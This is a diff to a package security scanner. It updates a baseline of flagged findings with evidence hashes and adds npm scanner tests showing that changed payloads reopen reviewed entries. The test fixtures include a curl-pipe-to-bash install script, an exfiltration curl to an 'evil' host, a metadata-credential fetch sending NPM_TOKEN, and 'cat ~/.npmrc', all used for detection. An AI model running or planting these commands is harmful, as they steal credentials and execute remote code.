L49: exec(code, globals_dict)", + "evidence_hash": "76374f96feed416eec390458843621f33524cfb8d93ef0f3eb4cb1b47d0ad748" }, { "package": "torch", "file": "torch/fx/graph_module.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)" + "evidence": "Obfusc: L106: exec(compile(src, key, \"exec\"), globals)\nExec: L106: exec(compile(src, key, \"exec\"), globals)", + "evidence_hash": "db35f4d5ce3b1ad6466e6438be3f2a1806e83ca95edb020eb9869e6cc6080a15" }, { "package": "torch", "file": "torch/package/package_importer.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L602: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)" + "evidence": "Obfusc: L602: def __import__(self, name, globals=None, locals=None, fromlist=(), level=0):\nExec: L412: exec(code, ns)", + "evidence_hash": "c7c0650f0c74a086d224112f77ee76634b8f47afc047ce27fee8c7fc45560512" }, { "package": "triton", "file": "triton/runtime/interpreter.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)" - }, - { - "package": "unsloth-zoo", - "file": "scripts/scan_packages.py", - "check": "exec/eval with payload hidden in a docstring/string", - "severity": "HIGH", - "evidence": "marshal/compile/obfuscation: L132: r\"|\\bbytearray\\s*\\(\\s*\\[.*?\\]\\s*\\)\" # bytearray([104,101,...]) | L135: r\"|\\bgetattr\\s*\\(\\s*__builtins__\" # getattr(__builtins__, ...)" + "evidence": "Obfusc: L1435: compiled_code = compile(transformed_ast, filename=self.filename, mode='exec')\nExec: L1441: exec(compiled_code, fn_globals, local_namespace)", + "evidence_hash": "ccde8f3fb7193b8004d8042fe1de107f19ab5f540300024ec43f9c0047c2a711" }, { "package": "unsloth-zoo", "file": "tests/test_compiler_dynamic_exec.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)" + "evidence": "Obfusc: L126: code = compile(source, f\"<{entry_point}>\", \"exec\")\nExec: L134: exec(code, sandbox)", + "evidence_hash": "85af0176d2a3662e7c269f7a397cca8d92eb79eb6d106b3e58a54c7a102cef69" }, { "package": "unsloth-zoo", "file": "tests/test_fused_forward_install.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)" - }, - { - "package": "unsloth-zoo", - "file": "tests/test_upstream_pinned_symbols_trl_vllm.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/compiler.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4291: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\ | L4292: f\"O^O/ {chr(92)}_/ {c" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/fused_losses/forward_install.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/mlx/loader.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L1739: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L141: mx.eval(model.parameters()) | L1543: model.eval() | L2126: mx.eval(model.parameters())" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/patching_utils.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L706: compile(new_source, '', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_" - }, - { - "package": "unsloth-zoo", - "file": "unsloth_zoo/saving_utils.py", - "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", - "severity": "HIGH", - "evidence": "Obfusc: L3078: module = __import__('transformers', fromlist=[model_class_name])\nExec: L2960: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3006: exec(save_pretrained, globals(), functions)" + "evidence": "Obfusc: L268: code = compile(src, fake_path, \"exec\")\nExec: L269: exec(code, namespace)", + "evidence_hash": "0bd08f4d68c9f3bf3dd91d3351a4c7a6c44c2f494c70776750e821fbbbad4faa" }, { "package": "unsloth-zoo", "file": "tests/test_mlx_trainer_internals.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L430: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408: def eval(self):" + "evidence": "Obfusc: L430: assert ppl == pytest.approx(__import__(\"math\").exp(2.5))\nExec: L408: def eval(self):", + "evidence_hash": "c409327ef6420cc0c7224506fcb82b11bbc9838a6f2f97c9c2cfc00a40c4cdbf" + }, + { + "package": "unsloth-zoo", + "file": "tests/test_upstream_pinned_symbols_trl_vllm.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L379: mod = __import__(modpath, fromlist=[\"Logprob\"])\nExec: L238: \"unsloth_zoo dispatch via `eval(f'trl.trainer.{trainer_file}.{name}')` breaks\"", + "evidence_hash": "ffcaf5f1fd295f3d6e9b59d792392e22e3e4a1eb8c494edd82f815d90323ae55" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/compiler.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L1013: _mod = __import__(model_location, fromlist=items) | L4291: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4292: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nL4294: f' \"-____-\" Trainable parameters = {get_model_param_count(model, trainable_only=True):,} of {get_model_param_count(model):,} ({get_model_param_count(model, trainable_only=True)/get_model_p sha256:9e832c1e7b2815aa44dc42638d821cb9df22550db88d85bd4bfb29c13f984b53 | L4291: f\" {chr(92)}{chr(92)} /| Num examples = {num_examples:,} | Num Epochs = {num_train_epochs:,} | Total steps = {max_steps:,}\\\\n\"\\\\\nL4292: f\"O^O/ {chr(92)}_/ {chr(92)} Batch size per device = {self._train_batch_size:,} | Gradient accumulation steps = {args.gradient_accumulation_steps}\\\\n\"\\\\\nL4293: f\"{chr(92)} / Data Parallel GPUs = {args.world_size} | Total batch size ({self._train_batch_size} x {args.gradient_accumulation_steps} x {args.world_size}) = {total_train_batch_size: sha256:b7ea9cdbe360ad323911014caf12a9d4ec87cb36195a511080e4e484c2fb80d2\nExec: L612: if eval(_dtype) is not None: | L613: dtype = eval(_dtype) | L955: _modeling_file = eval(model_location) | L1255: f = eval(f\"{model_location}.{module}\") | L1563: exec(f\"def raise_{j}(*args, **kwargs): print('{function}')\", globals(), locals()) | L1564: try: exec(f\"EMPTY_LOGITS.{function} = raise_{j}\", globals(), locals()) | L2699: exec(f\"import {parent}\", locals(), globals()) | L2830: dir(eval(parent)), | L2834: exec(f\"{parent}.{child}.forward = forward\", globals(), locals()) | L2908: module = eval(f\"modeling_file.{module}\") | L2935: inner_class = eval(f\"modeling_file.{inner_class}\") | L3065: exec(f\"from timm.layers.norm_act import {norm}\") | L3073: forward = eval(norm).forward | L3079: exec(f\"timm.layers.norm_act.{norm}.forward = forward\") | L3096: exec(f\"from timm.models._efficientnet_blocks import {block}\") | L3104: forward = eval(block).forward | L3110: exec(f\"timm.models._efficientnet_blocks.{block}.forward = forward\") | L3385: exec(f\"import {model_location}\", globals()) | L3388: modeling_file = eval(model_location) | L3401: exec(\nL3402: \"model_logger.addFilter(HideLoggingMessage('`use_cache`'))\", globals(), locals()\nL3403: ) | L3405: exec(\nL3406: \"model_logger.addFilter(HideLoggingMessage('compile_config'))\",\nL3407: globals(),\nL3408: locals(),\nL3409: ) | L3560: source = eval(f\"modeling_file.{module}\") | L3574: source = eval(f\"modeling_file.{module}\") | L3675: source = eval(f\"modeling_file.{module}\") | L3713: source = eval(f\"{model_location}.{module}\") | L3784: source = eval(f\"{model_location}.{module}\") | L3832: source = eval(f\"{model_location}.{module}\") | L4054: source = eval(f\"{model_location}.{module}\") | L4065: exec(\nL4066: f\"{model_location}.{module}._update_causal_mask = no_update_causal_mask\",\nL4067: globals(),\nL4068: ) | L4131: source = eval(f\"{model_location}.{module}\") | L4172: module_cls = eval(f\"{model_location}.{module}\") | L4209: module_cls = eval(f\"{model_location}.{module}\") | L4276: exec(\nL4277: \"from transformers.trainer import (\" + \", \".join(x for x in good_items) + \")\",\nL4278: globals(),\nL4279: ) | L4341: exec(inner_training_loop, globals()) | L4349: function = eval(f\"{model_location}.{module}\") | L4427: function = eval(f\"{model_location}.{module}\") | L4562: source = eval(f\"{model_location}.torch\") | L4569: function = eval(f\"source.nn.{module}\") | L4628: exec(\nL4629: f\"{model_location}.torch.nn.{module}.forward = forward\",\nL4630: globals(),\nL4631: locals(),\nL4632: ) | L4634: exec(\nL4635: f\"{model_location}.nn.{module}.forward = forward\",\nL4636: globals(),\nL4637: locals(),\nL4638: ) | L4642: exec(\nL4643: f\"combined_module.torch.nn.{module}.forward = forward\",\nL4644: globals(),\nL4645: locals(),\nL4646: ) | L4648: exec(\nL4649: f\"combined_module.nn.{module}.forward = forward\",\nL4650: globals(),\nL4651: locals(),\nL4652: ) | L4669: exec(\nL4670: f\"{model_location}.{module} = combined_module.{module}\",\nL4671: globals(),\nL4672: locals(),\nL4673: ) | L4683: check_dicts = dir(eval(f\"{model_location}\")) | L4685: item = eval(f\"{model_location}.{check}\") | L4695: exec(\nL4696: f\"{model_location}.{check}['{key}'] = combined_module.{replaced_class}\",\nL4697: globals(),\nL4698: locals(),\nL4699: )", + "evidence_hash": "ec1875fd32d00fe885e566ebda75163e46e838ca31020abb57e0991892c2bdf7" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/fused_losses/forward_install.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L274: code = compile(new_src, synthetic_path, \"exec\")\nExec: L275: exec(code, ns)", + "evidence_hash": "33b0c2ba90758a5ed84578c1d03364cb307f393e9fbb1da370ae06991e0dc7c4" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/mlx/loader.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L2218: _mod = __import__(module_name, fromlist=[\"_\"])\nExec: L140: mx.eval(model.parameters()) | L176: mx.eval(model.parameters()) | L2022: model.eval() | L2605: mx.eval(model.parameters()) | L2721: mx.eval(module.weight) | L4030: mx.eval(model.parameters()) | L4058: mx.eval(model.parameters()) | L4178: mx.eval(model.parameters())", + "evidence_hash": "9b29dade82912216c8b4808aa293b79749aa80ef1d2be35edd93bec7632810f1" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/patching_utils.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L706: compile(new_source, '', 'exec')\nExec: L221: try: exec(_try_compile_argument) | L226: try: exec(_try_dynamo_argument) | L570: exec(\"from torch._dynamo.compiled_autograd import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L571: exec(source, globals()) | L596: exec(\"from torch._dynamo.variables.misc import (\" + \", \".join(x for x in good_items) + \")\", globals()) | L597: exec(source, globals()) | L686: exec(f\"from transformers.integrations.bitsandbytes import ({x})\", globals()) | L749: exec(source, globals())", + "evidence_hash": "f4c3d4a58360b4572b174f74d5250b661bb6b9ac942a07cca49cd42c23baf4c2" + }, + { + "package": "unsloth-zoo", + "file": "unsloth_zoo/saving_utils.py", + "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", + "severity": "HIGH", + "evidence": "Obfusc: L3241: module = __import__('transformers', fromlist=[model_class_name])\nExec: L3123: exec(f\"from transformers.modeling_utils import ({', '.join(functions)})\", locals(), globals()) | L3169: exec(save_pretrained, globals(), functions)", + "evidence_hash": "530b2383acd9fe8330aa65cd0bf86164aaacd47770e7c8d0752195bee36396ec" }, { "package": "werkzeug", "file": "werkzeug/routing/rules.py", "check": "Advanced obfuscation (marshal/compile/zlib) + exec/eval", "severity": "HIGH", - "evidence": "Obfusc: L836: code = compile(module, \"\", \"exec\")\nExec: L736: exec(code, globs, locs)" + "evidence": "Obfusc: L836: code = compile(module, \"\", \"exec\")\nExec: L736: exec(code, globs, locs)", + "evidence_hash": "5c0992c90f05c772abd94d00784f157de337e1f8567f8b3aee1b15e46c96cd5d" + }, + { + "package": "multiprocess", + "file": "multiprocess/tests/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L3355: os.dup2(conn.fileno(), i) | L3387: \"test needs os.dup2()\") | L3405: os.dup2(fd, newfd) | L19: import socket sha256:26a745abdc7e89da28ab943394234d8ccb415e805477c3cc1f7d4766341a4c4c", + "evidence_hash": "a6b9bb85e9bb6682ab0dea4f95fd9266e8802f118c76d86dd87f7ab5864872cf" + }, + { + "package": "unsloth-zoo", + "file": "scripts/scan_packages.py", + "check": "Writes to /tmp and executes (staged dropper)", + "severity": "CRITICAL", + "evidence": "L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", | L308: r\"/tmp/\\S+.*(?:subprocess|os\\.system|os\\.popen|Popen|chmod.*\\+x)\", sha256:78268349021e21bedcd2eaaa5b4a71b0de1d52e023ada914dfdc09515ee1aad8", + "evidence_hash": "590fe1c96c442fbea5eb8642650257bc0b0199e919b9bacdb11dfa767b6fe839" + }, + { + "package": "multiprocess", + "file": "multiprocess/tests/__init__.py", + "check": "Reverse shell / bind shell pattern", + "severity": "CRITICAL", + "evidence": "L3521: os.dup2(conn.fileno(), i) | L3553: \"test needs os.dup2()\") | L3571: os.dup2(fd, newfd) | L20: import socket sha256:07d2933301c0dbeeb6e42381687827d8dd7cfd7471986c559ca64283d5ae6e24", + "evidence_hash": "db1f4ca69865ec3911d7450fe11d212b817139deda21cd7a4ee32d547a8dc452" + }, + { + "package": "fastapi", + "file": "fastapi/routing.py", + "check": "C2 polling/beaconing loop detected", + "severity": "CRITICAL", + "evidence": "L586: while True: sha256:bef9ea429314fad39e063895a37dc5cfe9b04561f3d1acbb3c99abb4e92e6cfe", + "evidence_hash": "b15773e1bc249713156a349278ea60f7c0e3dd7d537affe929ab51089e1942bb" + }, + { + "package": "tensorboard", + "file": "tensorboard/plugins/projector/tf_projector_plugin/projector_binary.js", + "check": "Python wheel ships large JS bundle (uncommon; manually review)", + "severity": "HIGH", + "evidence": "sha256: 53c38430766be25dc672a30846ac3b9eba86aee35eb0746785ec012647c7d9a2", + "evidence_hash": "2c6384e8115a6d5dacf1f84d8f724832d8dc59feb442bb98ffae0857c0ccb381" } ] } diff --git a/tests/security/test_scan_npm_packages.py b/tests/security/test_scan_npm_packages.py index ec9af37785..35a34e2834 100644 --- a/tests/security/test_scan_npm_packages.py +++ b/tests/security/test_scan_npm_packages.py @@ -328,8 +328,9 @@ def _finding( fn, pattern, sev = snp.HIGH, + evidence = "", ): - return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern) + return snp.Finding(severity = sev, package = pkg, filename = fn, pattern = pattern, evidence = evidence) def test_norm_pkg_name_strips_version_keeps_scope(): @@ -394,11 +395,486 @@ def test_write_then_load_baseline_roundtrip(tmp_path): n = snp._write_baseline(str(bl), findings, snp._SEVERITY_RANK[snp.HIGH]) assert n == 1 # dedup + MEDIUM excluded keys = snp._load_baseline(str(bl)) - assert (snp._norm_pkg_name("evil@1.0.0"), "a.js", "obfuscated-blob") in keys + assert snp._finding_key(findings[0]) in keys # MEDIUM below HIGH threshold -> not written. assert all(k[2] != "js-env-token" for k in keys) +def test_baseline_reopens_on_changed_evidence(tmp_path): + # Same package/file/pattern but changed flagged code must reopen: the key now + # includes an evidence hash, so a new payload cannot ride a reviewed entry. + bl = tmp_path / "bl.json" + listed = _finding( + "left-pad@1.0.0", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')" + ) + snp._write_baseline(str(bl), [listed], snp._SEVERITY_RANK[snp.HIGH]) + baseline = snp._load_baseline(str(bl)) + + # The reviewed finding stays suppressed across a version bump (same evidence). + same = _finding( + "left-pad@9.9.9", "package/dist/index.js", "obfuscated-blob", evidence = "fetch('http://ok')" + ) + # A changed payload under the same package/file/pattern stays active. + changed = _finding( + "left-pad@9.9.9", + "package/dist/index.js", + "obfuscated-blob", + evidence = "fetch('http://evil')", + ) + active, suppressed = snp._partition_baseline([same, changed], baseline) + assert same in suppressed + assert changed in active + + +def test_obfuscated_blob_key_reopens_on_changed_tail(): + # A large blob's evidence hash binds the full match (via a digest when the + # snippet is truncated), so changing only the payload tail reopens the key. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + head = "A" * 2300 + old = f'eval("{head}{"B" * 300}")' + new = f'eval("{head}{"C" * 300}")' + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "obfuscated-blob" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "obfuscated-blob" + ][0] + assert "sha256:" in of.evidence + assert of.evidence != nf.evidence + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_js_fetch_eval_payload_tail_reopens_key(): + # The js-fetch-eval evidence digests the full containing line when the shown + # window truncates it, so a changed payload tail beyond the window reopens + # the key instead of riding the unchanged decoder head. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + head = "A" * 40 + old = "(0,eval)(atob('" + head + "X" * 80 + "'))\n" + new = "(0,eval)(atob('" + head + "Y" * 80 + "'))\n" + of = [ + f for f in snp.scan_text_blob(pkg, "package/index.js", old) if f.pattern == "js-fetch-eval" + ][0] + nf = [ + f for f in snp.scan_text_blob(pkg, "package/index.js", new) if f.pattern == "js-fetch-eval" + ][0] + assert "sha256:" in of.evidence + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_outbound_host_multiline_options_reopen(): + # A multi-line outbound call binds its option/header lines, so changing the + # headers/body on a continuation line reopens the cred-surface-host key. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + url = "fetch('http://169.254.169.254/latest/meta-data/iam/security-credentials/role',\n" + old = url + " {headers: {a: 'old'}})\n" + new = url + " {headers: {a: 'evil', token: process.env.NPM_TOKEN}})\n" + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert "sha256:" in of.evidence + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_outbound_host_config_multiline_object_reopens(): + # A host-config object whose `{` is on a prior line still binds the whole + # object, so changing the path/headers on a following line reopens the key + # rather than riding the unchanged hostname line. + pkg = snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + obj = ( + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nhttps.request(opts);\n" + ) + old = obj % "/latest/meta-data/iam/security-credentials/old" + new = obj % "/latest/meta-data/iam/security-credentials/evil" + of = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", old) + if f.pattern == "cred-surface-host (outbound)" + ][0] + nf = [ + f + for f in snp.scan_text_blob(pkg, "package/index.js", new) + if f.pattern == "cred-surface-host (outbound)" + ][0] + assert snp._finding_key(of) != snp._finding_key(nf) + + +def _host_config_pkg(): + return snp.PackageEntry( + name = "evil", + version = "1.0.0", + resolved = "https://registry.npmjs.org/evil/-/evil-1.0.0.tgz", + integrity = "sha512-test", + lockfile_key = "node_modules/evil", + ) + + +def _host_finding(text): + return [ + f + for f in snp.scan_text_blob(_host_config_pkg(), "package/index.js", text) + if f.pattern == "cred-surface-host (outbound)" + ][0] + + +def test_outbound_host_config_long_object_binds_tail(): + # A config object longer than the backward window still binds its tail, so a + # changed payload line well below the hostname reopens (not truncated away). + filler = "\n".join(f" opt{i}: {i}," for i in range(30)) + obj = ( + "const opts = {\n hostname: '169.254.169.254',\n" + + filler + + "\n path: '%s',\n};\nrun(opts);\n" + ) + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_config_far_opener_binds(): + # The enclosing object's opener can sit well above the hostname line (a large + # options object whose `{` is many properties back). The backward scan must + # still reach it so a payload changed on an earlier property of the same object + # reopens, not just a change on the hostname line itself. + above = "\n".join(f" opt{i}: {i}," for i in range(20)) + obj = ( + "const opts = {\n" + + above + + "\n hostname: '169.254.169.254',\n path: '/x',\n};\nrun(opts);\n" + ) + changed = obj.replace("opt0: 0,", "opt0: 999,") + assert snp._finding_key(_host_finding(obj)) != snp._finding_key(_host_finding(changed)) + + +def test_outbound_host_config_forward_cap_measured_from_match(): + # With the opener near the backward-search limit, the forward group cap must be + # measured from the matched hostname line, not the opener, so the path that + # follows the hostname is still bound and a changed payload there reopens. + above = "\n".join(f" opt{i}: {i}," for i in range(198)) + obj = ( + "const opts = {\n" + + above + + "\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n" + ) + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_multiple_contexts_all_bind(): + # The same contextual host can appear in more than one outbound form. Adding a + # separate host-config request beside an already-present URL for that host must + # reopen the key, not ride the unchanged URL evidence. + base = "const u = 'http://169.254.169.254/latest/meta-data/';\nfetch(u);\n" + extra = "https.request({\n hostname: '169.254.169.254',\n path: '/evil',\n});\n" + assert snp._finding_key(_host_finding(base)) != snp._finding_key(_host_finding(base + extra)) + + +def test_outbound_host_config_opener_after_unmatched_closer_binds(): + # A leading unmatched `}` from a preceding block (its opener outside the + # backward window) must not drive depth negative and mask the host-config + # opener that follows; the object should still bind so a changed path reopens. + pre = "callback(arg);\n});\n" # stray closer; the matching opener is out of view + obj = pre + "const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n" + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_config_close_then_open_same_line_binds(): + # Stronger than the previous case: the unmatched closer and the host-config + # opener share ONE line, e.g. `}); const opts = {`. A net per-line bracket count + # nets that line to <= 0 and drops the trailing `{`, so the group would start at + # the hostname line and a changed path could ride the unchanged-hostname key. + # Order-aware reduction keeps the opener, so the path binds and a change reopens. + obj = "}); const opts = {\n hostname: '169.254.169.254',\n path: '%s',\n};\nrun(opts);\n" + assert snp._finding_key(_host_finding(obj % "/old")) != snp._finding_key( + _host_finding(obj % "/evil") + ) + + +def test_outbound_host_multiline_template_literal_reopens(): + # A ) inside a multi-line backtick template literal must not close the call + # early; the options object after the template binds, so a changed header + # reopens rather than riding the unchanged host (a per-line string blanker + # cannot mask a template literal that spans lines). + old = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'old'},\n});\n" + new = "request(`http://169.254.169.254/x\n)`, {\n headers: {a: 'evil'},\n});\n" + assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new)) + + +def test_cred_env_lifecycle_binds_whole_body(): + # cred-env-in-lifecycle evidence pins the whole script body, so a changed + # non-token line (echo safe -> curl exfil) reopens even with the token line + # unchanged. + def life(body): + pkg = snp.PackageEntry( + name = "e", + version = "1.0.0", + resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz", + integrity = "sha512-x", + lockfile_key = "node_modules/e", + ) + text = json.dumps({"scripts": {"postinstall": body}}) + return [ + f + for f in snp.scan_package_json(pkg, "package/package.json", text) + if "cred-env-in-lifecycle" in f.pattern + ][0] + + safe = life("node -e 'console.log(process.env.NPM_TOKEN)'; echo safe") + evil = life("node -e 'console.log(process.env.NPM_TOKEN)'; curl -d x https://evil") + assert "body-sha256:" in safe.evidence + assert snp._finding_key(safe) != snp._finding_key(evil) + + +def _lifecycle_finding(body, frag): + pkg = snp.PackageEntry( + name = "e", + version = "1.0.0", + resolved = "https://registry.npmjs.org/e/-/e-1.0.0.tgz", + integrity = "sha512-x", + lockfile_key = "node_modules/e", + ) + text = json.dumps({"scripts": {"postinstall": body}}) + return [ + f for f in snp.scan_package_json(pkg, "package/package.json", text) if frag in f.pattern + ][0] + + +def test_lifecycle_fetch_exec_bounds_body_but_reopens(): + # The whole install script is bound by a digest, but the stored evidence is a + # bounded matched snippet plus that digest, not the full body, so writing the + # baseline on a multi-KiB install script stays small while a change to any line + # (even far below the fetch-exec line) reopens the finding. + pad = "# pad\n" * 5000 + old = "curl https://x.sh | bash\n" + pad + "echo done_old" + new = "curl https://x.sh | bash\n" + pad + "echo done_evil" + of = _lifecycle_finding(old, "lifecycle-fetch-exec") + nf = _lifecycle_finding(new, "lifecycle-fetch-exec") + assert "body-sha256:" in of.evidence + assert len(of.evidence) < len(old) # snippet + digest, not the whole body + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_cred_path_lifecycle_bounds_body_but_reopens(): + # cred-path-in-lifecycle is bounded the same way: a snippet around the matched + # credential path plus the whole-body digest, so a far-line change reopens + # without storing the entire script body in the baseline. + pad = "# pad\n" * 5000 + old = "cat ~/.npmrc\n" + pad + "echo old" + new = "cat ~/.npmrc\n" + pad + "echo evil" + of = _lifecycle_finding(old, "cred-path-in-lifecycle") + nf = _lifecycle_finding(new, "cred-path-in-lifecycle") + assert "body-sha256:" in of.evidence + assert len(of.evidence) < len(old) + assert snp._finding_key(of) != snp._finding_key(nf) + + +def test_outbound_host_regex_literal_does_not_close_group_early(): + # A ) inside a JS regex literal must not close the outbound call early; the + # options object after the regex binds, so a changed header reopens. + old = "request('http://169.254.169.254', /)/, {\n headers: {a: 'old'},\n});\n" + new = old.replace("old", "evil") + assert snp._finding_key(_host_finding(old)) != snp._finding_key(_host_finding(new)) + + +def test_evidence_overflow_binds_context_and_counts_all_matches(): + # Every match past the display cap is still counted in the overflow digest AND + # bound by its logical-line context, so changing the payload on an over-cap line + # reopens (the digest is not just the regex match text, and the iterator is not + # truncated before reaching it). + n = snp._MAX_EVIDENCE_MATCHES + mk = lambda which: "".join( + f"a{i} = process.env.NPM_TOKEN; tag{i} = {'evil' if i == n + 2 and which else 'safe'}\n" + for i in range(n + 5) + ) + e1 = snp._evidence(mk(False), snp._JS_ENV_TOKEN) + e2 = snp._evidence(mk(True), snp._JS_ENV_TOKEN) + assert "more) sha256:" in e1 + assert snp._evidence_hash(e1) != snp._evidence_hash(e2) + + +def test_evidence_caps_match_count_with_digest_remainder(): + # Past _MAX_EVIDENCE_MATCHES the evidence folds the remaining matches into one + # digest so a huge/minified file cannot build an unbounded evidence string, + # while a changed match count past the cap still reopens. + over = snp._MAX_EVIDENCE_MATCHES + 20 + base = "".join(f"x{i} = process.env.NPM_TOKEN\n" for i in range(over)) + ev = snp._evidence(base, snp._JS_ENV_TOKEN) + assert "more) sha256:" in ev + assert ev.count(" | ") <= snp._MAX_EVIDENCE_MATCHES # bounded, not `over` spans + less = 